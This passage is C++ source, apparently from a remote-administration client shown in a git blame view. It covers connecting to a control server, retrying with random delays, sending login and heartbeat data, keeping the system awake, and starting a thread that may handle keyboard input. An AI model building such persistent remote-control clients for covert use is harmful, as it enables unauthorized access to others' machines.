if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
|
|
|
|
|
for (int i=1; i<list.size(); ++i) {
|
|
|
|
|
|
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
|
|
|
|
|
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
|
|
|
|
|
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
|
|
|
|
|
}
|
|
|
|
|
|
// The main ClientApp.
|
|
|
|
|
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
|
|
|
|
|
}
|
|
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
|
|
|
|
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
|
|
|
|
|
State& bExit(app.g_bExit);
|
|
|
|
|
|
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
|
|
|
|
|
if (nullptr == ClientObject) return -1;
|
|
|
|
|
|
CKernelManager* Manager = nullptr;
|
|
|
|
|
|
|
|
|
|
|
|
if (!app.m_bShared) {
|
|
|
|
|
|
if (NULL == app.g_hEvent) {
|
|
|
|
|
|
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
|
|
|
|
|
}
|
|
|
|
|
|
if (app.g_hEvent == NULL) {
|
|
|
|
|
|
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
app.SetThreadRun(TRUE);
|
|
|
|
|
|
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
|
|
|
|
|
while (app.m_bIsRunning(&app)) {
|
|
|
|
|
|
ULONGLONG dwTickCount = GetTickCount64();
|
|
|
|
|
|
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
|
|
|
|
|
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
|
|
|
|
|
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
|
|
|
|
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
|
|
|
|
|
continue;
|
|
|
|
|
|
}
|
|
|
|
|
|
SAFE_DELETE(Manager);
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
//准备第一波数据
|
2025-12-23 15:16:01 +01:00
|
|
|
|
BOOL auth = FALSE;
|
|
|
|
|
|
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth);
|
|
|
|
|
|
Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
|
|
|
|
|
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
2025-11-30 21:20:04 +01:00
|
|
|
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
|
|
|
|
|
|
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
|
2025-12-16 20:43:03 +01:00
|
|
|
|
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
Manager->SendHeartbeat();
|
|
|
|
|
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
|
|
|
|
|
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
|
|
|
|
|
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
|
|
|
|
|
Sleep(200);
|
|
|
|
|
|
}
|
|
|
|
|
|
kb->Exit(10);
|
|
|
|
|
|
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
|
|
|
|
|
BOOL b = SetEvent(app.g_hEvent);
|
|
|
|
|
|
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
|
|
|
|
|
|
|
|
|
|
|
CloseHandle(app.g_hEvent);
|
|
|
|
|
|
app.g_hEvent = NULL;
|
|
|
|
|
|
}
|
2025-12-22 20:02:57 +01:00
|
|
|
|
if (app.g_bExit == S_CLIENT_EXIT) {
|
|
|
|
|
|
CKernelManager::g_IsAppExit = 2;
|
|
|
|
|
|
Sleep(200);
|
|
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
|
|
|
|
|
Mprintf("StartClient end\n");
|
|
|
|
|
|
delete ClientObject;
|
|
|
|
|
|
SAFE_DELETE(Manager);
|
|
|
|
|
|
app.SetThreadRun(FALSE);
|
|
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
}
|